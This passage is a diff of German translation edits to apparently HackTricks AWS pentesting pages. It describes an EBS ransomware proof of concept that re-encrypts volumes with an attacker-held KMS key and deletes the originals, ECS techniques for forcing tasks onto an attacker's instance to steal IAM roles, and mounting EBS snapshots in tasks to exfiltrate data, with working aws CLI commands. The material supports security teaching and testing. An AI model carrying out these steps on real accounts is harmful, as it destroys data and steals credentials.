Das Ergebnis sind nur noch verschlüsselte EBS-Volumes im Konto.
|
||||
Das Ergebnis ist, dass im Account nur noch verschlüsselte EBS-Volumes vorhanden sind.
|
||||
|
||||
|
||||
|
||||
Ebenfalls bemerkenswert: Das Script stoppte die EC2-Instanzen, um die Original-EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
|
||||
Außerdem ist erwähnenswert, dass das Script die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
|
||||
|
||||
|
||||
|
||||
Als Nächstes kehren Sie zur Key-Policy im 'attacker'-Konto zurück und entfernen die 'Outside Encryption'-Policy-Regel aus der Key-Policy.
|
||||
Als Nächstes kehren Sie zur Key-Policy im 'attacker' account zurück und entfernen die 'Outside Encryption'-Policy-Regel aus der Key-Policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +495,15 @@ Als Nächstes kehren Sie zur Key-Policy im 'attacker'-Konto zurück und entferne
|
||||
]
|
||||
}
|
||||
```
|
||||
Warte einen Moment, bis die neu gesetzte Schlüsselrichtlinie sich verbreitet hat. Kehre dann zum 'Opfer'-Account zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.
|
||||
Warten Sie einen Moment, bis die neu gesetzte key policy propagiert ist. Kehren Sie dann in das 'victim'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
|
||||
|
||||
 
|
||||
|
||||
Aber wenn du versuchst, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird das einfach fehlschlagen und sofort vom 'pending'-Zustand wieder in den 'stopped'-Zustand zurückfallen, da das angehängte EBS-Volume mit dem Key nicht entschlüsselt werden kann, weil die Schlüsselrichtlinie dies nicht mehr erlaubt.
|
||||
Aber wenn Sie tatsächlich versuchen, die EC2-Instance mit dem verschlüsselten EBS-Volume wieder zu starten, schlägt das fehl und der Status wechselt von 'pending' zurück in den 'stopped'-Zustand und bleibt dort, weil das angehängte EBS-Volume mit dem Key nicht entschlüsselt werden kann, da die key policy dies nicht mehr erlaubt.
|
||||
|
||||
 
|
||||
|
||||
Dies ist das verwendete python-Skript. Es nimmt AWS creds für einen 'Opfer'-Account und einen öffentlich verfügbaren AWS ARN-Wert für den Key, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instanzen im Ziel-AWS-Account angehängt sind, stoppt dann jede EC2-Instanz, hängt die originalen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten snapshots. Dadurch bleiben im Ziel-'Opfer'-Account nur noch verschlüsselte EBS-Volumes übrig. NUTZE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST DESTRUKTIV UND WIRD ALLE ORIGINALEN EBS-VOLUMES LÖSCHEN. Du kannst sie mit dem verwendeten KMS key wiederherstellen und über snapshots in ihren ursprünglichen Zustand zurücksetzen, aber ich möchte dich nur darauf hinweisen, dass dies letztlich ein ransomware PoC ist.
|
||||
Dies ist das verwendete python-Skript. Es nimmt AWS creds für ein 'victim'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den zur Verschlüsselung verwendeten Key entgegen. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instances im Ziel-AWS-Konto angehängt sind, stoppt dann jede EC2-Instance, trennt die ursprünglichen EBS-Volumes, löscht diese und entfernt schließlich alle während des Prozesses verwendeten Snapshots. Dadurch bleiben im Ziel-'victim'-Konto nur noch verschlüsselte EBS-Volumes übrig. NUTZEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST DESTRUKTIV UND WIRD ALLE ORIGINALEN EBS-VOLUMES LÖSCHEN. Sie können sie mit dem verwendeten KMS-Key wiederherstellen und via Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte Sie darauf hinweisen, dass es sich letztlich um einen ransomware PoC handelt.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -581,8 +620,10 @@ delete_snapshots(ec2_client, snapshot_ids)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Quellen
|
||||
## Referenzen
|
||||
|
||||
- [Latacora - ECS on EC2: Schließen von Lücken in der IMDS-Härtung](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform-Repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Wie man Dateien in AWS mit SSM überträgt](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
Weitere Informationen:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,33 +12,33 @@ Für weitere Informationen siehe:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
In ECS kann einer Task, die innerhalb des Containers läuft, eine **IAM role zugewiesen werden**. **Wenn** die Task innerhalb einer **EC2 instance** ausgeführt wird, hat die **EC2 instance** in der Regel eine **andere IAM** role angehängt.\
|
||||
Das bedeutet, dass wenn es dir gelingt, eine ECS instance zu **compromise**, du möglicherweise die **IAM role, die mit der ECR und der EC2 instance verknüpft ist, obtain** kannst. Für mehr Informationen darüber, wie man diese Zugangsdaten erhält, siehe:
|
||||
In ECS kann einer Aufgabe, die innerhalb des Containers läuft, eine **IAM-Rolle zugewiesen werden**. **Wenn** die Aufgabe auf einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle angehängt.\
|
||||
Das bedeutet, dass wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie möglicherweise die **IAM role associated to the ECR and to the EC2 instance** erhalten können. Für mehr Infos darüber, wie man diese Zugangsdaten erhält, siehe:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachte, dass wenn die EC2 instance IMDSv2 durchsetzt, [**laut der Dokumentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **hop limit of 1** haben wird, was es unmöglich macht, von einem Container innerhalb der EC2 instance auf die EC2-Metadaten zuzugreifen.
|
||||
> IMDSv2 mit einem hop limit von 1 **blockiert nicht** awsvpc- oder host-networked Tasks—nur Docker-bridge-Tasks liegen weit genug entfernt, damit die Antworten verfallen. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Jüngste [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) zeigt, dass awsvpc und host Tasks weiterhin Host-Credentials abrufen, selbst wenn IMDSv2+h=1 erzwungen wird.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Außerdem verwendet EC2 docker, um ECS tasks auszuführen. Wenn du auf den Node entkommen kannst oder **access the docker socket**, kannst du **check**, welche **other containers** ausgeführt werden, und sogar in sie **get inside of them** und deren angehängte **IAM roles** stehlen.
|
||||
Außerdem nutzt EC2 Docker, um ECS-Tasks auszuführen. Wenn Sie auf den Node entkommen können oder Zugriff auf den **docker socket** erhalten, können Sie **prüfen**, welche **anderen Container** laufen, sich sogar in diese **hineinbegeben** und die an sie angehängten **IAM roles** stehlen.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Darüber hinaus hat die **EC2 instance role** normalerweise genügend **permissions**, um den **container instance state** der als Nodes verwendeten EC2 instances im Cluster zu **update**. Ein Angreifer könnte den **state of an instance to DRAINING** ändern; dann wird ECS **remove all the tasks from it** und die Tasks, die als **REPLICA** ausgeführt werden, werden in einer **anderen instance** gestartet, möglicherweise innerhalb der **attackers instance**, sodass er deren **IAM roles** und potenziell sensible Informationen aus dem Container **steal** kann.
|
||||
Darüber hinaus hat die **EC2 instance role** normalerweise genügend **permissions**, um den **container instance state** der als Nodes im Cluster verwendeten EC2-Instanzen zu **aktualisieren**. Ein Angreifer könnte den **state of an instance to DRAINING** ändern; ECS wird dann **alle Tasks von dieser Instanz entfernen**, und die als **REPLICA** laufenden Tasks werden in **einer anderen Instanz ausgeführt**, möglicherweise innerhalb der Instanz des **Angreifers**, sodass er deren **IAM roles** und möglicherweise sensible Informationen aus den Containern stehlen kann.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Die gleiche Technik kann durchgeführt werden, indem die **EC2 instance aus dem cluster entfernt wird**. Das ist potenziell weniger unauffällig, aber es wird die **tasks zwingen, auf anderen instances ausgeführt zu werden:**
|
||||
Die gleiche Technik kann durch **Abmelden der EC2-Instanz aus dem Cluster** durchgeführt werden. Dies ist potenziell weniger stealthy, aber es wird **erzwingen, dass die tasks in anderen Instanzen ausgeführt werden:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Eine letzte Technik, um die erneute Ausführung von Tasks zu erzwingen, besteht darin, ECS mitzuteilen, dass die **Task oder der Container gestoppt wurde**. Es gibt 3 potenzielle APIs, um dies zu tun:
|
||||
Eine letzte Technik, um die erneute Ausführung von Tasks zu erzwingen, besteht darin, ECS mitzuteilen, dass die **Aufgabe oder der Container gestoppt wurde**. Es gibt 3 mögliche APIs, um dies zu tun:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,17 +50,17 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Sensible Informationen aus ECR-Containern stehlen
|
||||
### Sensitive Informationen aus ECR-Containern stehlen
|
||||
|
||||
Die EC2-Instanz hat wahrscheinlich auch die Berechtigung `ecr:GetAuthorizationToken`, wodurch sie **Container-Images herunterladen** kann (du könntest in ihnen nach sensiblen Informationen suchen).
|
||||
Die EC2-Instanz hat wahrscheinlich auch die Berechtigung `ecr:GetAuthorizationToken`, die es ihr erlaubt, **Images herunterzuladen** (du könntest in diesen nach sensiblen Informationen suchen).
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
### Ein EBS-Snapshot direkt in einer ECS-Task mounten (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Missbrauche die native ECS–EBS-Integration (2024+), um den Inhalt eines bestehenden EBS snapshot direkt in einen neuen ECS task/service einzuhängen und dessen Daten aus dem Container heraus zu lesen.
|
||||
Missbrauche die native ECS EBS-Integration (2024+), um den Inhalt eines bestehenden EBS-Snapshots direkt in einer neuen ECS-Task/Service zu mounten und die Daten aus dem Container zu lesen.
|
||||
|
||||
- Benötigt (mindestens):
|
||||
- ecs:RegisterTaskDefinition
|
||||
@@ -70,7 +70,7 @@ Missbrauche die native ECS–EBS-Integration (2024+), um den Inhalt eines besteh
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- Impact: Beliebige Festplatteninhalte aus dem Snapshot (z. B. Datenbankdateien) innerhalb des Containers lesen und exfiltrate via network/logs.
|
||||
- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
@@ -101,7 +101,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Erstelle oder aktualisiere einen Service und übergebe den EBS-Snapshot über `volumeConfigurations.managedEBSVolume` (erfordert iam:PassRole für die Infra-Rolle). Beispiel:
|
||||
3) Erstelle oder aktualisiere einen Service und übergebe den EBS snapshot via `volumeConfigurations.managedEBSVolume` (erfordert iam:PassRole auf der infra role). Beispiel:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -115,12 +115,16 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Wenn der Task startet, kann der Container die Snapshot-Inhalte am konfigurierten Mount-Pfad (z. B. `/loot`) lesen. Daten über das Netzwerk/Logs des Tasks exfiltrieren.
|
||||
4) Wenn der Task startet, kann der Container die Snapshot-Inhalte am konfigurierten Mount-Pfad (z. B. `/loot`) lesen. Exfiltrate via the task’s network/logs.
|
||||
|
||||
Bereinigung:
|
||||
Aufräumen:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user